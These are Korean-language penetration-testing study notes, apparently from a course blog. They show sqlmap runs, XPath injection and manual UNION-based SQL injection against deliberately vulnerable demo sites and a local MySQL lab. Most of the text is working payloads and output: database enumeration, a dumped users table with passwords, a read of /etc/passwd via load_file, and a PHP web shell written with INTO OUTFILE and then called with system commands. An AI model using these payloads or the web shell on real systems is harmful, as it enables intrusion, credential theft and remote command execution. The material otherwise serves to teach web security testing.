# cd /root/.sqlmap/output/testasp.vulnweb.com && ls

log  session.sqlite  target.txt


# file *

log:            ASCII text

session.sqlite: SQLite 3.x database

target.txt:     ASCII text, with no line terminators


# cat log

sqlmap identified the following injection points with a total of 41 HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=2 AND 7352=7352

 

    Type: error-based

    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

    Payload: id=2 AND 5363=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (5363=5363) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113)))

 

    Type: UNION query

    Title: Generic UNION query (NULL) - 2 columns

    Payload: id=-5233 UNION ALL SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(72)+CHAR(98)+CHAR(116)+CHAR(112)+CHAR(102)+CHAR(83)+CHAR(88)+CHAR(102)+CHAR(113)+CHAR(101)+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113),NULL--

 

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: id=2; WAITFOR DELAY '0:0:5'--

 

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: id=2 WAITFOR DELAY '0:0:5'--

 

    Type: inline query

    Title: Microsoft SQL Server/Sybase inline queries

    Payload: id=(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9284=9284) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113))

---

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

-> 필요하면 다른 파일에 대해서도 내용을 확인한다.

   # cat session.sqlite

   # cat target.txt


■ 데이터베이스 사용자 확인

# sqlmap -u testasp.vulnweb.com/showforum.asp?id=2 --batch --current-user

..... (중략) .....

[*] starting at 10:48:00

 

[10:48:00] [INFO] resuming back-end DBMS 'microsoft sql server'

[10:48:00] [INFO] testing connection to the target URL

[10:48:04] [WARNING] reflective value(s) found and filtering out

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=2 AND 7352=7352

 

    Type: error-based

    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

    Payload: id=2 AND 5363=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (5363=5363) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113)))

 

    Type: UNION query

    Title: Generic UNION query (NULL) - 2 columns

    Payload: id=-5233 UNION ALL SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(72)+CHAR(98)+CHAR(116)+CHAR(112)+CHAR(102)+CHAR(83)+CHAR(88)+CHAR(102)+CHAR(113)+CHAR(101)+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113),NULL--

 

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: id=2; WAITFOR DELAY '0:0:5'--

 

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: id=2 WAITFOR DELAY '0:0:5'--

 

    Type: inline query

    Title: Microsoft SQL Server/Sybase inline queries

    Payload: id=(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9284=9284) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113))

---

[10:48:04] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

[10:48:04] [INFO] fetching current user

current user:    'acunetix'

[10:48:05] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 1 times

[10:48:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testasp.vulnweb.com'

 

[*] shutting down at 10:48:05

-> --batch 옵션은 sqlmap 진행 도중 사용자 입력 요구하는 부분을 자동으로 처리하는 의미이다.

-> --current-user 옵션은 현재 DB 사용자를 확인하라는 의미이다.

-> 출력결과 해석

        현재 DB 사용자가 acunetix 사용자라는것을 확인할수 있다.



■ 데이터 베이스 정보를 확인

# sqlmap -u testasp.vulnweb.com/showforum.asp?id=2 --dbs --batch

..... (중략) .....

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=2 AND 7352=7352

 

    Type: error-based

    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

    Payload: id=2 AND 5363=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (5363=5363) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113)))

 

    Type: UNION query

    Title: Generic UNION query (NULL) - 2 columns

    Payload: id=-5233 UNION ALL SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(72)+CHAR(98)+CHAR(116)+CHAR(112)+CHAR(102)+CHAR(83)+CHAR(88)+CHAR(102)+CHAR(113)+CHAR(101)+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113),NULL--

 

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: id=2; WAITFOR DELAY '0:0:5'--

 

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: id=2 WAITFOR DELAY '0:0:5'--

 

    Type: inline query

    Title: Microsoft SQL Server/Sybase inline queries

    Payload: id=(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9284=9284) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113))

---

[10:53:35] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

[10:53:35] [INFO] fetching database names

[10:53:36] [INFO] the SQL query used returns 7 entries

[10:53:37] [INFO] retrieved: acublog

[10:53:38] [INFO] retrieved: acuforum

[10:53:39] [INFO] retrieved: acuservice

[10:53:40] [INFO] retrieved: master

[10:53:41] [INFO] retrieved: model

[10:53:42] [INFO] retrieved: msdb

[10:53:43] [INFO] retrieved: tempdb

available databases [7]:                                                                   

[*] acublog

[*] acuforum

[*] acuservice

[*] master

[*] model

[*] msdb

[*] tempdb

 

[10:53:43] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 8 times

[10:53:43] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testasp.vulnweb.com'

 

[*] shutting down at 10:53:43

-> --dbs 옵션은 현재 DB 정보를 확인할 때 사용한다.

-> 출력 결과 해석

        현재 DB 7개(acublog, acuforum, acuservice, master ...)가 존재하는것을 확인했다.





■ acuforum DB의 테이블을 확인

# sqlmap -u testasp.vulnweb.com/showforum.asp?id=2 --tables -D acuforum --batch

..... (중략) .....

[10:57:41] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

[10:57:41] [INFO] fetching tables for database: acuforum

[10:57:42] [INFO] the SQL query used returns 4 entries

[10:57:47] [INFO] retrieved: dbo.forums

[10:57:48] [INFO] retrieved: dbo.posts

[10:57:50] [INFO] retrieved: dbo.threads

[10:57:51] [INFO] retrieved: dbo.users

Database: acuforum                                                                         

[4 tables]

+---------+

| forums  |

| posts   |

| threads |

| users   |

+---------+

 

[10:57:51] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 5 times

[10:57:51] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testasp.vulnweb.com'

 

[*] shutting down at 10:57:51

-> -D 옵션은 특정한 DB을 지정할 때 사용한다.

-> --tables 옵션은 DB에 존재하는 tables을 검색할 때 사용한다.

-> 출력 결과 해석

        출력 결과에 4개(forums, posts, threads, users)의 테이블을 확인했다.


■ 확인된 테이블 중 dbo.users의 모든 정보(옵션 dump)를 확인

# sqlmap -u testasp.vulnweb.com/showforum.asp?id=2 --dump -T dbo.users -D acuforum --batch

..... (중략) .....

[11:03:13] [INFO] fetching columns for table 'users' in database 'acuforum'

[11:03:14] [INFO] the SQL query used returns 5 entries

[11:03:15] [INFO] retrieved: "avatar","nvarchar"

[11:03:17] [INFO] retrieved: "email","nvarchar"

[11:03:18] [INFO] retrieved: "realname","nvarchar"

[11:03:20] [INFO] retrieved: "uname","nvarchar"

[11:03:21] [INFO] retrieved: "upass","nvarchar"

[11:03:21] [INFO] fetching entries for table 'users' in database 'acuforum'               

[11:03:25] [INFO] fetching number of distinct values for column 'email'

[11:03:26] [INFO] using column 'email' as a pivot for retrieving row data

[11:03:58] [INFO] analyzing table dump for possible password hashes

Database: acuforum

Table: users

[5 entries]

+-----------+------------+----------------------+---------+---------------------+

| uname     | upass      | email                | avatar  | realname            |

+-----------+------------+----------------------+---------+---------------------+

| admin     | none       | admin@adminspace.com | <blank> | admin the allmighty |

| rawbite   | none       | lala                 | <blank> | lala                |

| John      | pass__word | test@stchina.com.cn  | <blank> | John                |

| test      | abcd1234   | test@tester.com      | <blank> | tester              |

| zkzx_test | 123456     | zkzx_test            | <blank> | zkzx test           |

+-----------+------------+----------------------+---------+---------------------+

 

[11:03:58] [WARNING] table 'acuforum.dbo.users' dumped to CSV file '/root/.sqlmap/output/testasp.vulnweb.com/dump/acuforum/users-639aca84.csv'

[11:03:58] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 33 times

[11:03:58] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testasp.vulnweb.com'

 

[*] shutting down at 11:03:58

-> 출력된 내용에 users 테이블에 존재하는 사용자(uname)/패스워드(upass) 등을 확인할수 있다.


■ paros을 통해 POST 방식의 패러미터 확인


KaliLinux는 기본적으로 paros가 설치되어 있다.


paros 웹 proxy 설정

# paros &

        Tools > Options > Local proxy > OK

                Address : localhost

                Port    : 8000

        (주의) paros는 종료하지 않는다. paros는 proxy 서버이다.


웹브라우저에서 paros를 proxy 서버로 지정한다.

# firefox &

Preferences > Advanced > Network > Settings > OK > Close

        [ V ] Manual proxy configuration

                HTTP proxy : localhost    Port : 8000





웹브라우저에서 해당 사이트의 로그인 페이지에 접속한다.

http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault.asp%3F


파로스를 이용하여 POST 방식의 정보 확인

-> POST 방식으로 전달되는 패러미터는 육안으로 확인할 수 없기 때문에 paros로 확인

-> paros에서 [Trap] 탭

                [ V ] Trap Request





웹 로그인 페이지에 임의의 계정(aaaa)과 암호(aaaa)를 입력하고 "Login"을 선택한다.


paros에서 확인

-> paros에서 전달되는 POST 방식의 패러미터 확인

-> tfUName=aaaa&tfUPass=aaaa 확인(점검 대상 패러미터는 tfUName 과 tfUPass 이다.)


■ 임의의 계정으로 sqlmap을 통해 DB 접근 확인

# sqlmap -u "http://testasp.vulnweb.com/Login.asp" \

--data="tfUName=user&tfUPass=pass123" \

--batch

..... (중략) .....

[*] starting at 11:06:53

 

[11:06:53] [INFO] resuming back-end DBMS 'microsoft sql server'

[11:06:53] [INFO] testing connection to the target URL

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: tfUName (POST)

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: tfUName=user'; WAITFOR DELAY '0:0:5'--&tfUPass=pass123

 

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: tfUName=user' WAITFOR DELAY '0:0:5'--&tfUPass=pass123

---

[11:06:55] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

[11:06:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testasp.vulnweb.com'

 

[*] shutting down at 11:06:55

# sqlmap -u "http://testasp.vulnweb.com/Login.asp" \

--data="tfUName=user&tfUPass=pass123" \

--dbs \

--batch

..... (중략) .....

[*] starting at 11:02:14

 

[11:02:14] [INFO] resuming back-end DBMS 'microsoft sql server'

[11:02:14] [INFO] testing connection to the target URL

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: tfUName (POST)

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: tfUName=user'; WAITFOR DELAY '0:0:5'--&tfUPass=pass123

 

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: tfUName=user' WAITFOR DELAY '0:0:5'--&tfUPass=pass123

---

[11:02:16] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

[11:02:16] [INFO] fetching database names

[11:02:16] [INFO] fetching number of databases

[11:02:16] [INFO] resumed: 7

[11:02:16] [INFO] resumed: acublog

[11:02:16] [INFO] resumed: acuforum

[11:02:16] [INFO] resumed: acuservice

[11:02:16] [INFO] resumed: master

[11:02:16] [INFO] resumed: model

[11:02:16] [INFO] resumed: msdb

[11:02:16] [WARNING] time-based comparison requires larger statistical model, please wait..............................

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y

[11:02:41] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors

[11:02:52] [INFO] adjusting time delay to 2 seconds due to good response times

tempdb

available databases [7]:

[*] acublog

[*] acuforum

[*] acuservice

[*] master

[*] model

[*] msdb

[*] tempdb

 

[11:04:13] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testasp.vulnweb.com'

 

[*] shutting down at 11:04:13

-> 임의의 사용자로 접근이 가능한 DB 정보들을 확인할 수 있다.





(정리)

웹 스캐너(paros)를 통한 1차 테스트 > 전문툴(sqlmap)을 통한 2차 테스트




(원복) 복원 작업을 진행한다.

(윈도우즈 시스템)

        paros 종료

        웹브라우저 proxy 설정 off

(KaliLinux 시스템)

        paros 종료

        웹브라우저 proxy 설정 off

[과제] sqlmap을 통해 테스트하는 다양한 패턴들을 와이어샤크를 통해 분석(시간: 30분)

sqlmap을 통해 테스트를 걸고 wireshark을 통해 분석한다.

여기에서 얻을수 있는 sqlmap을 통해 보낸 테스트 패턴들을 정리한다.




[과제] SQL Injecion 사용한 인증 우회(시간: 1시간)

목표: 인증창을 넘는다.

문서화 작업 & 발표









* WAF 존재 여부 확인

* proxychain(자동화)

* 무료 proxy ip 사용


...

다음 문서는 웹 모의해킹 및 시큐어코딩 진단가이드 책의 내용을 공부 하면서 만든 문서입니다. 책의 저작권은 원본 제작자에 있으며, 이 문서는 순수한 공부 용도로만 사용하시기 바랍니다. 반드시 원본 책을 사서 읽어 보시기를 권장합니다. 좋은 내용이 너무 많습니다. ^^* *^^




웹보안(Web Security)




제 2 장   XML 취약점








[실습] XPath Injection


        ■ 용어 설명

        SQL Injection   : 악의적인 쿼리를 통해서 Database 의 정보를 획득

        XPath Injection : 조작된 질의문을 통해 XML 기반의 Database 정보 획득



대상 시스템

- http://demo.testfire.net


테스트 도구

- 웹브라우저



① 웹브라우저를 통해 웹 사이트(http://demo.testfire.net/) 접속


(전제조건) paros proxy는 종료된것으로 가정한다.

          웹브라저에서 proxy 지정은 없는것으로 가정한다.


웹브라우저를 통해 웹사이트(http://demo.testfire.net) 접속


왼쪽 상단의 "Sign In" 선택하고 admin 사용자로 로그인

        ID/PASS: admin/admin


② 취약점이 존재하는지 확인


왼쪽 메뉴 중 "Search News Articles" 부분을 선택

취약점을 점검하기 위해서 특수문자(')를 입력하고 "Query" 선택한다.


다음과 같은 에러가 발생되는것으로 봐서 취약점이 있는것으로 판단이 된다.


③ 취약점에 대한 분석


'string(/news/publication[contains(title,'Enter title (e.g. Watchfire)'') and (isPublic/text()='True')]/title/text())' has an invalid token.


분석 내용

'string(/news/publication
- 최상위 노드 <news>
- <news>의 하위 노드 <publication>

[contains(title,'Enter title (e.g. Watchfire)'') and (isPublic/text()='True')]/title/text()
- contains() 함수는 특정 노드의 문자열 포함여부를 검사
- text() 함수는 특정 노드의 문자열 검색
- 하위 노드 <title> 및 <isPublic>


분석된 결과 다음과 같은 구조를 예상할 수 있다.

---------------------------------------------------

<news>

        <publication>

                <title> ..... </title>

                <isPublic>True</isPublic>

        </publication>

</news>

---------------------------------------------------

④ 특정한 위치에 존재하는 XML 정보를 담고 있는 파일 찾기


Burp Suite 설치하고 XML 정보를 담고 있는 파일을 검색해 보자.


Burp Suite 소프트웨어 다운로드 사이트(Burp Suite Free Edition 다운로드)

- http://portswigger.net/burp/download.html


Burp Suite 소프트웨어 종류

- (무료) Burp Suite Free Edition

- (유료) Burp Suite Professional Edition


Burp Suite 설치시 작업 순서

- 자바 1.6 이상 버전 설치(32bit)

- Burp Suite 설치

- 바탕화면 바로가기 아이콘 생성


■ 자바(JDK/SDK or JRE) 설치

(가정) 이전에 설치한것으로 가정한다.(PATH 변수 설정 포함)


■ Burp Suite 다운로드 및 설치

프로그램 다운로드 받는 사이트를 참고한다.(EX: 공유디렉토리 참고)

Burp Suite 프로그램은 기본 설치한다.


■ 바탕화면 바로가기 아이콘 생성

바탕화면에 바로가기 아이콘을 생성한다.


■ Burp Suite Proxy 설정


(주의) 이번 실습에서는 Burp Suite을 디렉토리 목록을 확인하는 용도로만 사용한다.


Proxy 탭 > Options 탭 >

        --------------------------

        Running    interface

         [ v ]     127.0.0.1:9000

        --------------------------


Proxy 탭 > Intercept 탭 > intercept is on 선택(uncheck => intercept is off)




■ 웹브라우저 proxy(Burp Suite) 지정


웹브라우저 > 도구 > 인터넷 옵션 > 연결 > LAN 설정

        주소 : 127.0.0.1 포트 : 9000


웹브라우저를 통해 http://demo.testfire.net 사이트에 접속한다.


Burp Suite 프로그램쪽에서 확인하면 다음과 같이 표시가 된다.

        Proxy > HTTP history

-> 만약 intercept 탭에 intercept on 되어 있으면 Forward를 선택하여 HTTP request를 수행한다.




http://www.testfire.net URL를 선택한 후 오른쪽 마우스를 클릭하여 "spider from here" 선택한다.


그리고 Target 탭의 Site map 선택한다.

-> 내용을 확인해 보면 /pr 디렉토리 밑에 Docs.xml 파일이 존재하는 것을 확인할 수 있다.


/pr 디렉토리 밑에 Docs.xml 파일을 선택하고 Response 부분을 선택하면 XML 구조를 확인할 수 있다.

-> 예상한 결과와 맞아 떨어진다.






SQL_Injection_윤진식.hwp



'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160831 파일업로드 취약점  (0) 2016.09.01
20160830 XML, CRLF, XSS Injection  (0) 2016.08.31
20160826 웹보안  (0) 2016.08.27
20160825 웹보안  (0) 2016.08.25
20160825 BitLocker  (0) 2016.08.25
Posted by 22Hz
, |

[실습2]  MySQL Database 쿼리 테스트


■ 실습 설명

직접 DB를 설치하여 SQL 쿼리가 어떤식으로 요청되는지 확인해 보자.


■ 준비 사항

APM(Apache + PHP + MYSQL) 설치

MySQL 쿼리분석기 설치


■ 사용시스템

window7(MySQL(Test Target))

MySQL 퀄리분석기(Test Tool)


■ 작업 과정

windows 7에 APM 설치하기

windows 7에 MySQL 쿼리분석기 설치하기



① APM(Apache, PHP, MySQL) 설치


■ 소프트웨어 다운로드

- http://apmsetup.com/download.php


■ APM 설치(기본값으로 설치)

Installer Language
<OK>

APMSETUP 7 for Win32 설치를 시작합니다.
<다음>

사용권 계약
<동의함>

구성 요소 선택
<다음>

설치 위치 선택
<설치>

APMSETUP 7 for Win32 설치 완료
<마침>


② MySQL 쿼리분석기 설치


■ 소프트웨어 다운로드

- http://downloads.mysql.com/archives/gui/

- 파일이름: mysql-gui-tools-5.0-r17-win32.msi


■ MySQL 쿼리분석기 설치(기본값으로 설치)

Welcome to the Setup Wizard for MySQL Tools for 5.0
<Next>

License Agreement
[ V ] I accept the terms in the license agreement
<Next>

Destination Folder
<Next>

Setup Type
<Next>

Ready to Install the Program
<Install>


③ MySQL 쿼리분석기 실행 및 MySQL에 접속하기


시작 > 모든 프로그램 > MySQL > MySQL Query Browser

        Stored Connection : MySQL1

        Server Host : 127.0.0.1           /* MySQL의 IP 입력 */

        Port : 3306                      /* MySQL의 Port */

        Username : root                  /* 기본 관리자 계정은 root */

        Password : apmsetup              /* 기본 관리자 계정 암호는 apmsetup */

        Default Schema: WebHacking         /* 임의의 이름(임의 DB를 생성하는 이름을 입력) */


(쿼리분석기 실행된 화면)



④ 쿼리분석기에서 테스트할 테이블 생성 및 데이터 입력

-> SQL 쿼리를 입력한 이후에 상단의 번개모양 아이콘을 선택하면 실행된다.


테스트할 테이블 생성하기 위해서 다음과 같은 내용을 입력한다.

create table test (

id int,

name varchar(10),

passwd varchar(10)

);


상단 부분의 아이콘 중 쿼리실행(번개모양)을 선택한다.


정상적으로 생성되어 있는지 확인하기 위해서  다음과 같은 내용을 입력한다.

select * from test;


test 테이블에 데이터를 입력한다. 

다음과 같은 내용을 개별적으로 입력하고 실행한다.

insert into test (id, name, passwd) values(1, "chulsu", "123456");


insert into test (id, name, passwd) values(2, "gildong", "happy");


insert into test (id, name, passwd) values(3, "shadow", "test1234");


정상적으로 생성되어 있는지 확인하기 위해서  다음과 같은 내용을 입력한다.

select * from test;


        [참고] 잘못된 정보가 등록된 경우에는 drop table 을 사용하여 지우고 다시 생성한다.

        drop table test;

        create table test (id int,name varchar(10),passwd varchar(10));

        insert into test (id, name, passwd) values(1, "chulsu", "123456");

        insert into test (id, name, passwd) values(2, "gildong", "happy");

        insert into test (id, name, passwd) values(3, "shadow", "test1234");


다른 명령어를 사용하여 정보를 확인한다.

select * from test where id=1


select * from test where id=1 or 1


select * from test where id=1 or 1=1

⑤ union 쿼리 사용(두개 이상의 쿼리를 이용하는 Union SQL Injection)

union 쿼리는 2가지 유형이 있다.
(ㄱ) union select
(ㄴ) union all select

union 쿼리 사용시 주의 사항은 반드시 필드의 개수 필드의 자료형 동일해야 한다.


union 쿼리 구문을 사용하기 전에 필드개수 파악하기

(ㄱ) order by 사용하는 경우
필드의 개수를 파악하기 위해서 아래와 같이 order by(데이터 정렬)를 사용하여 확인한다.
select * from test order by 1;

(ㄴ) null 값을 사용하는 경우
union을 사용하기 때문에 삽입한 null 개수가 필드의 수와 일치하지 않는 경우에 에러가 발생하는 점을 이용한다.
select * from test where id=1 union all select null;



(ㄱ) order by 사용하여 필드의 개수를 확인 하는 방법


select * from test order by 1;

-> 에러없음(정렬된다.)


select * from test order by 2;

-> 에러없음(정렬된다.)


select * from test order by 3;

-> 에러없음(정렬된다.)


select * from test order by 4;

-> 에러발생

-> 왼쪽 하단 부분에 에러 메세지 "Unknown column '4' in 'order clause' 표시된다.

-> 따라서, 필드가 3개라는 것을 확인할 수 있다.


(ㄴ) null 값을 사용하여 필드의 개수를 확인하는 방법


select * from test where id=1 union all select null;

-> 에러 발생

-> 왼쪽 하단 부분에 "The used SELECT statement have a different number of columns" 표시된다.


select * from test where id=1 union all select null, null;

-> 에러 발생


select * from test where id=1 union all select null, null, null;

-> 에러 없음

-> 따라서 null 3개인 경우에 에러가 없으므로 필드가 3개라는 것을 확인 할 수 있다.


⑥ 버전 정보 확인

버전 정보를 확인하기 위해 union 쿼리와 null 값 3개 중에 @@version 명령어를 삽입한다.


select * from test where id=1 union all select @@version,null,null#;

-> MySQL 5.1.41-community 버전이라는 것을 확인할 수 있다.


⑦ 데이터베이스 정보 확인

information_schema.schemata는 데이터베이스와 관련된 정보를 가지고 있으며, 이중에서 필드 shema_name을 사용하면 전체 데이터베이스 이름을 추출할 수 있다.


select * from test where id=1

union all select schema_name,null,null from information_schema.schemata;





⑧ 테이블 이름 확인

information_schema.tables는 테이블 관련 모든 정보를 가지고 있으며, table_name 필드 사용시 테이블이름을 추출할 수 있다.


select * from test where id=1

UNION SELECT null,null,GROUP_CONCAT(table_name)

FROM information_schema.tables WHERE version=10;

WHERAE 조건절의 version은 MySQL 버전을 의미한다.
- 10은 MySQL 버전이 5인 경우이다.
- 9는 MySQL 버전이 4인 경우이다.

정상적으로 충력이 정상적으로 되기 때문에 MySQL 10 버전이라는 것을 확인할 수 있다.


⑨ 필드 이름 확인

user_privileges의 필드 값을 추출해 보자.


information_schema.columns에는 필드(컬럼)의 정보를 포함하고 있으며 해당 필드 중 colum_name을 통해 필드 정보를 추출할 수 있다.


select * from test where id=1

UNION SELECT null, null, GROUP_CONCAT(column_name) FROM

information_schema.columns WHERE table_name = 'user_privileges';


⑩ 파일 읽기

데이버베이스 load_file() 함수를 통해 시스템 파일을 읽는 방법을 사용해 보자.


아파치 웹서버의 웹페이지(EX: index.php)의 경로를 확인한다.

-> C:\APM_Setup\htdocs\index.php


다음과 같이 접근하고자 하는 파일의 물리적인 위치를 적어 준다.

테스트는 "윈도우 시스템 예"를 가지고 작업한다.


(윈도우 시스템의 예)

select * from test where id=1

UNION SELECT null, null, load_file('C:\\APM_Setup\\htdocs\\index.php');


(유닉스 시스템 예)

select * from test where id=1

UNION SELECT null, null, load_file('etc/passwd');


⑪ 파일쓰기

into_outfile() 함수를 이용하여 웹서버에 파일(sec.txt)을 생성해 보자.


select * from test where id=1

UNION ALL SELECT

'your homepage belongs to me', null, null INTO OUTFILE

'C:\\APM_Setup\\htdocs\\sec.txt';


정상적으로 동작했는지 확인은 웹페이지를 통해 확인해 본다.


웹브라우저를 띄우고 다음과 같이 입력한다.

http://127.0.0.1/sec.txt


⑪ 웹셀 만들기


select * from test where id=1

union all SELECT

'<? system($_GET[\'input\']); ?>', null, null INTO OUTFILE

'C:\\APM_Setup\\htdocs\\hack.php';


C:\APM_Setup\htdocs 디렉토리에 생성된 hack.php 파일 확인


웹브라우저에서 확인

http://127.0.0.1/hack.php?input=ipconfig

-> 정상적으로 보인다.


다른 명령어에 대해서도 수행해 보자.

http://127.0.0.1/hack.php?input=dir

http://127.0.0.1/hack.php?input=hostname

http://127.0.0.1/hack.php?input=arp -a

http://127.0.0.1/hack.php?input=tasklist /m


(주의) 공백이 있으면 정상적으로 수행되지 않는것 같다.


[참고] 윈도우에서 수행할 수 있는 명령어 종류에 대해서





[실습3] MySQL DB 공격을 통한 데이터베이스 정보 추출


■ 실습 설명

testphp.vulnweb.com 사이트(WEB-MySQL)를 대상으로 테스트를 해보자.


■ 사용시스템

- http://testphp.vulnweb.com(Test Target)

- windows 7(웹브라우저)


① 특수문자 삽입(')을 통해 에러 유출 유무 확인

아래와 같이 웹브라우저에 입력한다.

http://testphp.vulnweb.com/listproducts.php?cat=1'


다음과 같은 경우

(ㄱ) 특수 문자등이 차단되거나

(ㄴ) 에러가 발생되지 않는 경우는

error-based 공격기법으로 정보를 알아낼수 없다.


따라서 Blind 타입 공격을 통해 취약점을 확인해야 한다.

(ㄱ) 첫번째는 원래 URL 정보이며, 정상적인 쿼리 결과를 제공한다.

(ㄴ) 두번째는 거짓조건 and 1=0을 삽입한 경우, 쿼리가 수행되지 않기 때문에 화면에 정보가 출력되지 않는다.

(ㄷ) 세번째는 참조건인 and 1=1을 삽입한 경우, 쿼리가 수행되어 결과가 출력된다.


(첫번째) 원래 URL 정보 입력(정상적인 쿼리 결과 제공)

http://testphp.vulnweb.com/listproducts.php?cat=1

-> 정상적인 출력 결과가 보인다.

(두번째) 거짓조건 and 1=0을 삽입한 경우(쿼리가 수행되지 않기 때문에 화면에 정보가 출력 않됨)

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0



(세번째) 참조건인 and 1=1을 삽입한 경우(쿼리가 수행되어 결과가 출력)

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=1



에러가 발생되지 않는 사이트에 대해서 사용할 수 있는 다른 기법으로 time delay SQL Injection을 진행할 수도 있다.


time delay는 특정 시간만큼 쿼리 결과를 늦게 출력되도록 만드는 명령어이다. 만약 5초 이후에 쿼리 결과를 확인할 수 있다면 취약점이 있다고 판단할 수 있다.

[참고] DBMS 별 time delay 명령어
     MS SQL : waitfor delay
     MySQL  : 4버전에서는 benchmark(), 5버전에서는 sleep()
     Oracle : BEGIN DBMS_LOCK.SLEEP(5); END


해당 쿼리 삽입 후 5초 후에 쿼리 결과가 보인다면 sleep() 함수 사용이 가능하다는 것을 짐작할 수 있기 때문에 데이터 베이스가 MySQL이라고 추측할 수 있다.


아래와 같이 입력하면 5초뒤에 페이지가 보인다는 것을 확인할 수 있다.

http://testphp.vulnweb.com/listproducts.php?cat=1 and sleep(5)


② union 쿼리를 사용하기 위해 필드 개수를 확인


(NULL 1일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL


(NULL 2개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL


(NULL 3개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL


(NULL 4개일때) 에러 발생

